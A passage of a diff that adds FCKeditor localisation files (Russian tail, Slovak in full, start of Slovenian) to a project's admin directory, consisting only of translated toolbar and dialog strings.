+// Textarea Dialog
+DlgTextareaName	: "Имя",
+DlgTextareaCols	: "Колонки",
+DlgTextareaRows	: "Строки",
+
+// Text Field Dialog
+DlgTextName			: "Имя",
+DlgTextValue		: "Значение",
+DlgTextCharWidth	: "Ширина",
+DlgTextMaxChars		: "Макс. кол-во символов",
+DlgTextType			: "Тип",
+DlgTextTypeText		: "Текст",
+DlgTextTypePass		: "Пароль",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Имя",
+DlgHiddenValue	: "Значение",
+
+// Bulleted List Dialog
+BulletedListProp	: "Свойства маркированного списка",
+NumberedListProp	: "Свойства нумерованного списка",
+DlgLstStart			: "Начало",
+DlgLstType			: "Тип",
+DlgLstTypeCircle	: "Круг",
+DlgLstTypeDisc		: "Диск",
+DlgLstTypeSquare	: "Квадрат",
+DlgLstTypeNumbers	: "Номера (1, 2, 3)",
+DlgLstTypeLCase		: "Буквы нижнего регистра (a, b, c)",
+DlgLstTypeUCase		: "Буквы верхнего регистра (A, B, C)",
+DlgLstTypeSRoman	: "Малые римские буквы (i, ii, iii)",
+DlgLstTypeLRoman	: "Большие римские буквы (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Общие",
+DlgDocBackTab		: "Задний фон",
+DlgDocColorsTab		: "Цвета и отступы",
+DlgDocMetaTab		: "Мета данные",
+
+DlgDocPageTitle		: "Заголовок страницы",
+DlgDocLangDir		: "Направление текста",
+DlgDocLangDirLTR	: "Слева на право (LTR)",
+DlgDocLangDirRTL	: "Справа на лево (RTL)",
+DlgDocLangCode		: "Код языка",
+DlgDocCharSet		: "Кодировка набора символов",
+DlgDocCharSetCE		: "Центрально-европейская",
+DlgDocCharSetCT		: "Китайская традиционная (Big5)",
+DlgDocCharSetCR		: "Кириллица",
+DlgDocCharSetGR		: "Греческая",
+DlgDocCharSetJP		: "Японская",
+DlgDocCharSetKR		: "Корейская",
+DlgDocCharSetTR		: "Турецкая",
+DlgDocCharSetUN		: "Юникод (UTF-8)",
+DlgDocCharSetWE		: "Западно-европейская",
+DlgDocCharSetOther	: "Другая кодировка набора символов",
+
+DlgDocDocType		: "Заголовок типа документа",
+DlgDocDocTypeOther	: "Другой заголовок типа документа",
+DlgDocIncXHTML		: "Включить XHTML объявления",
+DlgDocBgColor		: "Цвет фона",
+DlgDocBgImage		: "URL изображения фона",
+DlgDocBgNoScroll	: "Нескроллируемый фон",
+DlgDocCText			: "Текст",
+DlgDocCLink			: "Ссылка",
+DlgDocCVisited		: "Посещенная ссылка",
+DlgDocCActive		: "Активная ссылка",
+DlgDocMargins		: "Отступы страницы",
+DlgDocMaTop			: "Верхний",
+DlgDocMaLeft		: "Левый",
+DlgDocMaRight		: "Правый",
+DlgDocMaBottom		: "Нижний",
+DlgDocMeIndex		: "Ключевые слова документа (разделенные запятой)",
+DlgDocMeDescr		: "Описание документа",
+DlgDocMeAuthor		: "Автор",
+DlgDocMeCopy		: "Авторские права",
+DlgDocPreview		: "Предварительный просмотр",
+
+// Templates Dialog
+Templates			: "Шаблоны",
+DlgTemplatesTitle	: "Шаблоны содержимого",
+DlgTemplatesSelMsg	: "Пожалуйста выберете шаблон для открытия в редакторе<br>(текущее содержимое будет потеряно):",
+DlgTemplatesLoading	: "Загрузка списка шаблонов. Пожалуйста подождите...",
+DlgTemplatesNoTpl	: "(Ни одного шаблона не определено)",
+DlgTemplatesReplace	: "Заменить текущее содержание",
+
+// About Dialog
+DlgAboutAboutTab	: "О программе",
+DlgAboutBrowserInfoTab	: "Информация браузера",
+DlgAboutLicenseTab	: "Лицензия",
+DlgAboutVersion		: "Версия",
+DlgAboutLicense		: "Лицензировано в соответствии с условиями GNU Lesser General Public License",
+DlgAboutInfo		: "Для большей информации, посетите"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sk.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sk.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sk.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: sk.js
+ * 	Slovak language file.
+ * 
+ * File Authors:
+ * 		Samuel Szabo (samuel@nanete.sk)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Skryť panel nástrojov",
+ToolbarExpand		: "Zobraziť panel nástrojov",
+
+// Toolbar Items and Context Menu
+Save				: "Uložit",
+NewPage				: "Nová stránka",
+Preview				: "Náhľad",
+Cut					: "Vystrihnúť",
+Copy				: "Kopírovať",
+Paste				: "Vložiť",
+PasteText			: "Vložiť ako čistý text",
+PasteWord			: "Vložiť z Wordu",
+Print				: "Tlač",
+SelectAll			: "Vybrať všetko",
+RemoveFormat		: "Odstrániť formátovanie",
+InsertLinkLbl		: "Odkaz",
+InsertLink			: "Vložiť/zmeniť odkaz",
+RemoveLink			: "Odstrániť odkaz",
+Anchor				: "Vložiť/zmeniť kotvu",
+InsertImageLbl		: "Obrázok",
+InsertImage			: "Vložiť/zmeniť obrazok",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Vložiť/zmeniť Flash",
+InsertTableLbl		: "Tabuľka",
+InsertTable			: "Vložiť/zmeniť tabuľku",
+InsertLineLbl		: "Čiara",
+InsertLine			: "Vložiť vodorovnú čiara",
+InsertSpecialCharLbl: "Speciálne znaky",
+InsertSpecialChar	: "Vložiť špeciálne znaky",
+InsertSmileyLbl		: "Smajlíky",
+InsertSmiley		: "Vložiť smajlíka",
+About				: "O aplikáci FCKeditor",
+Bold				: "Tučné",
+Italic				: "Kurzíva",
+Underline			: "Podčiarknuté",
+StrikeThrough		: "Prečiarknuté",
+Subscript			: "Dolný index",
+Superscript			: "Horný index",
+LeftJustify			: "Zarovnať vľavo",
+CenterJustify		: "Zarovnať na stred",
+RightJustify		: "Zarovnať vpravo",
+BlockJustify		: "Zarovnať do bloku",
+DecreaseIndent		: "Zmenšiť odsadenie",
+IncreaseIndent		: "Zväčšiť odsadenie",
+Undo				: "Späť",
+Redo				: "Znovu",
+NumberedListLbl		: "Číslovanie",
+NumberedList		: "Vložiť/odstrániť číslovaný zoznam",
+BulletedListLbl		: "Odrážky",
+BulletedList		: "Vložiť/odstraniť odrážky",
+ShowTableBorders	: "Zobraziť okraje tabuliek",
+ShowDetails			: "Zobraziť podrobnosti",
+Style				: "Štýl",
+FontFormat			: "Formát",
+Font				: "Písmo",
+FontSize			: "Veľkost",
+TextColor			: "Farba textu",
+BGColor				: "Farba pozadia",
+Source				: "Zdroj",
+Find				: "Hľadať",
+Replace				: "Nahradiť",
+SpellCheck			: "Kontrola pravopisu",
+UniversalKeyboard	: "Univerzálna klávesnica",
+PageBreakLbl		: "Oddeľovač stránky",
+PageBreak			: "Vložiť oddeľovač stránky",
+
+Form			: "Formulár",
+Checkbox		: "Zaškrtávacie políčko",
+RadioButton		: "Prepínač",
+TextField		: "Textové pole",
+Textarea		: "Textová oblasť",
+HiddenField		: "Skryté pole",
+Button			: "Tlačítko",
+SelectionField	: "Rozbaľovací zoznam",
+ImageButton		: "Obrázkové tlačítko",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Zmeniť odkaz",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Vložiť riadok",
+DeleteRows			: "Zmazať riadok",
+InsertColumn		: "Vložiť stĺpec",
+DeleteColumns		: "Zmazať stĺpec",
+InsertCell			: "Vložiť bunku",
+DeleteCells			: "Zmazať bunky",
+MergeCells			: "Zlúčiť bunky",
+SplitCell			: "Rozdeliť bunku",
+TableDelete			: "Zmazať tabuľku",
+CellProperties		: "Vlastnosti bunky",
+TableProperties		: "Vlastnosti tabuľky",
+ImageProperties		: "Vlastnosti obrázku",
+FlashProperties		: "Vlastnosti Flashu",
+
+AnchorProp			: "Vlastnosti kotvy",
+ButtonProp			: "Vlastnosti tlačítka",
+CheckboxProp		: "Vlastnosti zaškrtávacieho políčka",
+HiddenFieldProp		: "Vlastnosti skrytého poľa",
+RadioButtonProp		: "Vlastnosti prepínača",
+ImageButtonProp		: "Vlastnosti obrázkového tlačítka",
+TextFieldProp		: "Vlastnosti textového pola",
+SelectionFieldProp	: "Vlastnosti rozbaľovacieho zoznamu",
+TextareaProp		: "Vlastnosti textové oblasti",
+FormProp			: "Vlastnosti formulára",
+
+FontFormats			: "Normálny;Formátovaný;Adresa;Nadpis 1;Nadpis 2;Nadpis 3;Nadpis 4;Nadpis 5;Nadpis 6;Odsek (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Prebieha spracovanie XHTML. Čakejte prosím...",
+Done				: "Dokončené.",
+PasteWordConfirm	: "Vyzerá to tak, že vkladaný text je kopírovaný z Wordu. Chcete ho pred vložením vyčistiť?",
+NotCompatiblePaste	: "Tento príkaz je dostupný len v prehliadači Internet Explorer verzie 5.5 alebo vyššej. Chcete vložiť text bez vyčistenia?",
+UnknownToolbarItem	: "Neznáma položka panela nástrojov \"%1\"",
+UnknownCommand		: "Neznámy príkaz \"%1\"",
+NotImplemented		: "Príkaz nie je implementovaný",
+UnknownToolbarSet	: "Panel nástrojov \"%1\" neexistuje",
+NoActiveX			: "Bezpečnostné nastavenia Vašeho prehliadača môžu obmedzovať niektoré funkcie editora. Pre ich plnú funkčnosť musíte zapnúť voľbu \"Spúšťať ActiveX moduly a zásuvné moduly\", inak sa môžete stretnúť s chybami a nefunkčnosťou niektorých funkcií.",
+BrowseServerBlocked : "Prehliadač zdrojových prvkov nebolo možné otvoriť. Uistite sa, že máte vypnuté všetky blokovače vyskakujúcich okien.",
+DialogBlocked		: "Dialógové okno nebolo možné otvoriť. Uistite sa, že máte vypnuté všetky blokovače vyskakujúcich okien.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Zrušiť",
+DlgBtnClose			: "Zavrieť",
+DlgBtnBrowseServer	: "Prechádzať server",
+DlgAdvancedTag		: "Rozšírené",
+DlgOpOther			: "<Ďalšie>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Prosím vložte URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nenastavené>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Orientácia jazyka",
+DlgGenLangDirLtr	: "Zľava doprava (LTR)",
+DlgGenLangDirRtl	: "Zprava doľava (RTL)",
+DlgGenLangCode		: "Kód jazyka",
+DlgGenAccessKey		: "Prístupový kľúč",
+DlgGenName			: "Meno",
+DlgGenTabIndex		: "Poradie prvku",
+DlgGenLongDescr		: "Dlhý popis URL",
+DlgGenClass			: "Trieda štýlu",
+DlgGenTitle			: "Pomocný titulok",
+DlgGenContType		: "Pomocný typ obsahu",
+DlgGenLinkCharset	: "Priradená znaková sada",
+DlgGenStyle			: "Štýl",
+
+// Image Dialog
+DlgImgTitle			: "Vlastnosti obrázku",
+DlgImgInfoTab		: "Informácie o obrázku",
+DlgImgBtnUpload		: "Odoslať na server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Odoslať",
+DlgImgAlt			: "Alternatívny text",
+DlgImgWidth			: "Šírka",
+DlgImgHeight		: "Výška",
+DlgImgLockRatio		: "Zámok",
+DlgBtnResetSize		: "Pôvodná veľkosť",
+DlgImgBorder		: "Okraje",
+DlgImgHSpace		: "H-medzera",
+DlgImgVSpace		: "V-medzera",
+DlgImgAlign			: "Zarovnanie",
+DlgImgAlignLeft		: "Vľavo",
+DlgImgAlignAbsBottom: "Úplne dole",
+DlgImgAlignAbsMiddle: "Do stredu",
+DlgImgAlignBaseline	: "Na základňu",
+DlgImgAlignBottom	: "Dole",
+DlgImgAlignMiddle	: "Na stred",
+DlgImgAlignRight	: "Vpravo",
+DlgImgAlignTextTop	: "Na horný okraj textu",
+DlgImgAlignTop		: "Nahor",
+DlgImgPreview		: "Náhľad",
+DlgImgAlertUrl		: "Zadajte prosím URL obrázku",
+DlgImgLinkTab		: "Odkaz",
+
+// Flash Dialog
+DlgFlashTitle		: "Vlastnosti Flashu",
+DlgFlashChkPlay		: "Automatické prehrávanie",
+DlgFlashChkLoop		: "Opakovanie",
+DlgFlashChkMenu		: "Povoliť Flash Menu",
+DlgFlashScale		: "Mierka",
+DlgFlashScaleAll	: "Zobraziť mierku",
+DlgFlashScaleNoBorder	: "Bez okrajov",
+DlgFlashScaleFit	: "Roztiahnuť na celé",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Odkaz",
+DlgLnkInfoTab		: "Informácie o odkaze",
+DlgLnkTargetTab		: "Cieľ",
+
+DlgLnkType			: "Typ odkazu",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Kotva v tejto stránke",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protokol",
+DlgLnkProtoOther	: "<iný>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Vybrať kotvu",
+DlgLnkAnchorByName	: "Podľa mena kotvy",
+DlgLnkAnchorById	: "Podľa Id objektu",
+DlgLnkNoAnchors		: "<V stránke nie je definovaná žiadna kotva>",
+DlgLnkEMail			: "E-Mailová adresa",
+DlgLnkEMailSubject	: "Predmet správy",
+DlgLnkEMailBody		: "Telo správy",
+DlgLnkUpload		: "Odoslať",
+DlgLnkBtnUpload		: "Odoslať na server",
+
+DlgLnkTarget		: "Cieľ",
+DlgLnkTargetFrame	: "<rámec>",
+DlgLnkTargetPopup	: "<vyskakovacie okno>",
+DlgLnkTargetBlank	: "Nové okno (_blank)",
+DlgLnkTargetParent	: "Rodičovské okno (_parent)",
+DlgLnkTargetSelf	: "Rovnaké okno (_self)",
+DlgLnkTargetTop		: "Hlavné okno (_top)",
+DlgLnkTargetFrameName	: "Meno rámu cieľa",
+DlgLnkPopWinName	: "Názov vyskakovacieho okna",
+DlgLnkPopWinFeat	: "Vlastnosti vyskakovacieho okna",
+DlgLnkPopResize		: "Meniteľná veľkosť",
+DlgLnkPopLocation	: "Panel umiestnenia",
+DlgLnkPopMenu		: "Panel ponuky",
+DlgLnkPopScroll		: "Posuvníky",
+DlgLnkPopStatus		: "Stavový riadok",
+DlgLnkPopToolbar	: "Panel nástrojov",
+DlgLnkPopFullScrn	: "Celá obrazovka (IE)",
+DlgLnkPopDependent	: "Závislosť (Netscape)",
+DlgLnkPopWidth		: "Šírka",
+DlgLnkPopHeight		: "Výška",
+DlgLnkPopLeft		: "Ľavý okraj",
+DlgLnkPopTop		: "Horný okraj",
+
+DlnLnkMsgNoUrl		: "Zadajte prosím URL odkazu",
+DlnLnkMsgNoEMail	: "Zadajte prosím e-mailovú adresu",
+DlnLnkMsgNoAnchor	: "Vyberte prosím kotvu",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Výber farby",
+DlgColorBtnClear	: "Vymazať",
+DlgColorHighlight	: "Zvýraznená",
+DlgColorSelected	: "Vybraná",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Vkladanie smajlíkov",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Výber speciálneho znaku",
+
+// Table Dialog
+DlgTableTitle		: "Vlastnosti tabuľky",
+DlgTableRows		: "Riadky",
+DlgTableColumns		: "Stĺpce",
+DlgTableBorder		: "Ohraničenie",
+DlgTableAlign		: "Zarovnanie",
+DlgTableAlignNotSet	: "<nenastavené>",
+DlgTableAlignLeft	: "Vľavo",
+DlgTableAlignCenter	: "Na stred",
+DlgTableAlignRight	: "Vpravo",
+DlgTableWidth		: "Šírka",
+DlgTableWidthPx		: "pixelov",
+DlgTableWidthPc		: "percent",
+DlgTableHeight		: "Výška",
+DlgTableCellSpace	: "Vzdialenosť buniek",
+DlgTableCellPad		: "Odsadenie obsahu",
+DlgTableCaption		: "Popis",
+DlgTableSummary		: "Prehľad",
+
+// Table Cell Dialog
+DlgCellTitle		: "Vlastnosti bunky",
+DlgCellWidth		: "Šírka",
+DlgCellWidthPx		: "bodov",
+DlgCellWidthPc		: "percent",
+DlgCellHeight		: "Výška",
+DlgCellWordWrap		: "Zalamovannie",
+DlgCellWordWrapNotSet	: "<nenastavené>",
+DlgCellWordWrapYes	: "Áno",
+DlgCellWordWrapNo	: "Nie",
+DlgCellHorAlign		: "Vodorovné zarovnanie",
+DlgCellHorAlignNotSet	: "<nenastavené>",
+DlgCellHorAlignLeft	: "Vľavo",
+DlgCellHorAlignCenter	: "Na stred",
+DlgCellHorAlignRight: "Vpravo",
+DlgCellVerAlign		: "Zvyslé zarovnanie",
+DlgCellVerAlignNotSet	: "<nenastavené>",
+DlgCellVerAlignTop	: "Nahor",
+DlgCellVerAlignMiddle	: "Doprostred",
+DlgCellVerAlignBottom	: "Dole",
+DlgCellVerAlignBaseline	: "Na základňu",
+DlgCellRowSpan		: "Zlúčené riadky",
+DlgCellCollSpan		: "Zlúčené stĺpce",
+DlgCellBackColor	: "Farba pozadia",
+DlgCellBorderColor	: "Farba ohraničenia",
+DlgCellBtnSelect	: "Výber...",
+
+// Find Dialog
+DlgFindTitle		: "Hľadať",
+DlgFindFindBtn		: "Hľadať",
+DlgFindNotFoundMsg	: "Hľadaný text nebol nájdený.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Nahradiť",
+DlgReplaceFindLbl		: "Čo hľadať:",
+DlgReplaceReplaceLbl	: "Čím nahradiť:",
+DlgReplaceCaseChk		: "Rozlišovať malé/veľké písmená",
+DlgReplaceReplaceBtn	: "Nahradiť",
+DlgReplaceReplAllBtn	: "Nahradiť všetko",
+DlgReplaceWordChk		: "Len celé slová",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Bezpečnostné nastavenie Vášho prohehliadača nedovoľujú editoru spustiť funkciu pre vloženie textu zo schránky. Prosím vložte text zo schránky pomocou klávesnice (Ctrl+V).",
+PasteErrorCut	: "Bezpečnostné nastavenie Vášho prohehliadača nedovoľujú editoru spustiť funkciu pre vystrihnutie zvoleného textu do schránky. Prosím vystrihnite zvolený text do schránky pomocou klávesnice (Ctrl+X).",
+PasteErrorCopy	: "Bezpečnostné nastavenie Vášho prohehliadača nedovoľujú editoru spustiť funkciu pre kopírovánie zvoleného textu do schránky. Prosím skopírujte zvolený text do schránky pomocou klávesnice (Ctrl+C).",
+
+PasteAsText		: "Vložiť ako čistý text",
+PasteFromWord	: "Vložiť text z Wordu",
+
+DlgPasteMsg2	: "Do nasledujúceho boxu vložte obsah schránky použitím klávesnice (<STRONG>Ctrl+V</STRONG>) a stlačte <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorovať nastavenia typu písma",
+DlgPasteRemoveStyles	: "Odstrániť formátovanie",
+DlgPasteCleanBox		: "Vyčistiť schránku",
+
+// Color Picker
+ColorAutomatic	: "Automaticky",
+ColorMoreColors	: "Viac farieb...",
+
+// Document Properties
+DocProps		: "Vlastnosti dokumentu",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Vlastnosti kotvy",
+DlgAnchorName		: "Meno kotvy",
+DlgAnchorErrorName	: "Zadajte prosím meno kotvy",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Nie je v slovníku",
+DlgSpellChangeTo		: "Zmeniť na",
+DlgSpellBtnIgnore		: "Ignorovať",
+DlgSpellBtnIgnoreAll	: "Ignorovať všetko",
+DlgSpellBtnReplace		: "Prepísat",
+DlgSpellBtnReplaceAll	: "Prepísat všetko",
+DlgSpellBtnUndo			: "Späť",
+DlgSpellNoSuggestions	: "- Žiadny návrh -",
+DlgSpellProgress		: "Prebieha kontrola pravopisu...",
+DlgSpellNoMispell		: "Kontrola pravopisu dokončená: bez chyb",
+DlgSpellNoChanges		: "Kontrola pravopisu dokončená: žiadne slová nezmenené",
+DlgSpellOneChange		: "Kontrola pravopisu dokončená: zmenené jedno slovo",
+DlgSpellManyChanges		: "Kontrola pravopisu dokončená: zmenených %1 slov",
+
+IeSpellDownload			: "Kontrola pravopisu nie je naištalovaná. Chcete ju hneď stiahnuť?",
+
+// Button Dialog
+DlgButtonText		: "Text",
+DlgButtonType		: "Typ",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Názov",
+DlgCheckboxValue	: "Hodnota",
+DlgCheckboxSelected	: "Vybrané",
+
+// Form Dialog
+DlgFormName		: "Názov",
+DlgFormAction	: "Akcie",
+DlgFormMethod	: "Metóda",
+
+// Select Field Dialog
+DlgSelectName		: "Názov",
+DlgSelectValue		: "Hodnota",
+DlgSelectSize		: "Veľkosť",
+DlgSelectLines		: "riadkov",
+DlgSelectChkMulti	: "Povoliť viacnásobný výber",
+DlgSelectOpAvail	: "Dostupné možnosti",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Hodnota",
+DlgSelectBtnAdd		: "Pridať",
+DlgSelectBtnModify	: "Zmeniť",
+DlgSelectBtnUp		: "Nahor",
+DlgSelectBtnDown	: "Dolu",
+DlgSelectBtnSetValue : "Nastaviť ako vybranú hodnotu",
+DlgSelectBtnDelete	: "Zmazať",
+
+// Textarea Dialog
+DlgTextareaName	: "Názov",
+DlgTextareaCols	: "Stĺpce",
+DlgTextareaRows	: "Riadky",
+
+// Text Field Dialog
+DlgTextName			: "Názov",
+DlgTextValue		: "Hodnota",
+DlgTextCharWidth	: "Šírka pola (znakov)",
+DlgTextMaxChars		: "Maximálny počet znakov",
+DlgTextType			: "Typ",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Heslo",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Názov",
+DlgHiddenValue	: "Hodnota",
+
+// Bulleted List Dialog
+BulletedListProp	: "Vlastnosti odrážok",
+NumberedListProp	: "Vlastnosti číslovania",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Typ",
+DlgLstTypeCircle	: "Krúžok",
+DlgLstTypeDisc		: "Disk",
+DlgLstTypeSquare	: "Štvorec",
+DlgLstTypeNumbers	: "Číslovanie (1, 2, 3)",
+DlgLstTypeLCase		: "Malé písmená (a, b, c)",
+DlgLstTypeUCase		: "Veľké písmená (A, B, C)",
+DlgLstTypeSRoman	: "Malé rímske číslice (i, ii, iii)",
+DlgLstTypeLRoman	: "Veľké rímske číslice (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Všeobecné",
+DlgDocBackTab		: "Pozadie",
+DlgDocColorsTab		: "Farby a okraje",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Titulok",
+DlgDocLangDir		: "Orientácie jazyka",
+DlgDocLangDirLTR	: "Zľava doprava (LTR)",
+DlgDocLangDirRTL	: "Zprava doľava (RTL)",
+DlgDocLangCode		: "Kód jazyka",
+DlgDocCharSet		: "Kódová stránka",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Iná kódová stránka",
+
+DlgDocDocType		: "Typ záhlavia dokumentu",
+DlgDocDocTypeOther	: "Iný typ záhlavia dokumentu",
+DlgDocIncXHTML		: "Obsahuje deklarácie XHTML",
+DlgDocBgColor		: "Farba pozadia",
+DlgDocBgImage		: "URL adresa obrázku na pozadí",
+DlgDocBgNoScroll	: "Fixné pozadie",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Odkaz",
+DlgDocCVisited		: "Navštívený odkaz",
+DlgDocCActive		: "Aktívny odkaz",
+DlgDocMargins		: "Okraje stránky",
+DlgDocMaTop			: "Horný",
+DlgDocMaLeft		: "Ľavý",
+DlgDocMaRight		: "Pravý",
+DlgDocMaBottom		: "Dolný",
+DlgDocMeIndex		: "Kľúčové slová pre indexovanie (oddelené čiarkou)",
+DlgDocMeDescr		: "Popis stránky",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Autorské práva",
+DlgDocPreview		: "Náhľad",
+
+// Templates Dialog
+Templates			: "Šablóny",
+DlgTemplatesTitle	: "Šablóny obsahu",
+DlgTemplatesSelMsg	: "Prosím vyberte šablóny ma otvorenie v editore<br>(terajší obsah bude stratený):",
+DlgTemplatesLoading	: "Nahrávam zoznam šablón. Čakajte prosím...",
+DlgTemplatesNoTpl	: "(žiadne šablóny nenájdené)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "O aplikáci",
+DlgAboutBrowserInfoTab	: "Informácie o prehliadači",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "verzie",
+DlgAboutLicense		: "Licencované pod pravidlami GNU Lesser General Public License",
+DlgAboutInfo		: "Viac informácií získate na"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sl.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sl.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sl.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: sl.js
+ * 	Slovenian language file.
+ * 
+ * File Authors:
+ * 		Boris Volarič (vol@rutka.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Zloži orodno vrstico",
+ToolbarExpand		: "Razširi orodno vrstico",
+
+// Toolbar Items and Context Menu
+Save				: "Shrani",
+NewPage				: "Nova stran",
+Preview				: "Predogled",
+Cut					: "Izreži",
+Copy				: "Kopiraj",
+Paste				: "Prilepi",
+PasteText			: "Prilepi kot golo besedilo",
+PasteWord			: "Prilepi iz Worda",
+Print				: "Natisni",
+SelectAll			: "Izberi vse",
+RemoveFormat		: "Odstrani oblikovanje",
+InsertLinkLbl		: "Povezava",
+InsertLink			: "Vstavi/uredi povezavo",
+RemoveLink			: "Odstrani povezavo",
+Anchor				: "Vstavi/uredi zaznamek",
+InsertImageLbl		: "Slika",
+InsertImage			: "Vstavi/uredi sliko",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Vstavi/Uredi Flash",
+InsertTableLbl		: "Tabela",
+InsertTable			: "Vstavi/uredi tabelo",
+InsertLineLbl		: "Črta",
+InsertLine			: "Vstavi vodoravno črto",
+InsertSpecialCharLbl: "Posebni znak",
+InsertSpecialChar	: "Vstavi posebni znak",
+InsertSmileyLbl		: "Smeško",
+InsertSmiley		: "Vstavi smeška",
+About				: "O FCKeditorju",
+Bold				: "Krepko",
+Italic				: "Ležeče",
+Underline			: "Podčrtano",
+StrikeThrough		: "Prečrtano",
+Subscript			: "Podpisano",
+Superscript			: "Nadpisano",
+LeftJustify			: "Leva poravnava",
+CenterJustify		: "Sredinska poravnava",
+RightJustify		: "Desna poravnava",
+BlockJustify		: "Obojestranska poravnava",
+DecreaseIndent		: "Zmanjšaj zamik",
+IncreaseIndent		: "Povečaj zamik",
+Undo				: "Razveljavi",
+Redo				: "Ponovi",
+NumberedListLbl		: "Oštevilčen seznam",
+NumberedList		: "Vstavi/odstrani oštevilčevanje",
+BulletedListLbl		: "Označen seznam",
+BulletedList		: "Vstavi/odstrani označevanje",
+ShowTableBorders	: "Pokaži meje tabele",
+ShowDetails			: "Pokaži podrobnosti",
+Style				: "Slog",
+FontFormat			: "Oblika",
+Font				: "Pisava",
+FontSize			: "Velikost",
+TextColor			: "Barva besedila",
+BGColor				: "Barva ozadja",
+Source				: "Izvorna koda",
+Find				: "Najdi",
+Replace				: "Zamenjaj",
+SpellCheck			: "Preveri črkovanje",
+UniversalKeyboard	: "Večjezična tipkovnica",
+PageBreakLbl		: "Prelom strani",
+PageBreak			: "Vstavi prelom strani",
+
+Form			: "Obrazec",
+Checkbox		: "Potrditveno polje",
+RadioButton		: "Izbirno polje",
+TextField		: "Vnosno polje",
+Textarea		: "Vnosno območje",
+HiddenField		: "Skrito polje",
+Button			: "Gumb",
+SelectionField	: "Spustni seznam",
+ImageButton		: "Gumb s sliko",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Uredi povezavo",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Vstavi vrstico",
+DeleteRows			: "Izbriši vrstice",
+InsertColumn		: "Vstavi stolpec",
+DeleteColumns		: "Izbriši stolpce",
+InsertCell			: "Vstavi celico",
+DeleteCells			: "Izbriši celice",
+MergeCells			: "Združi celice",
+SplitCell			: "Razdeli celico",
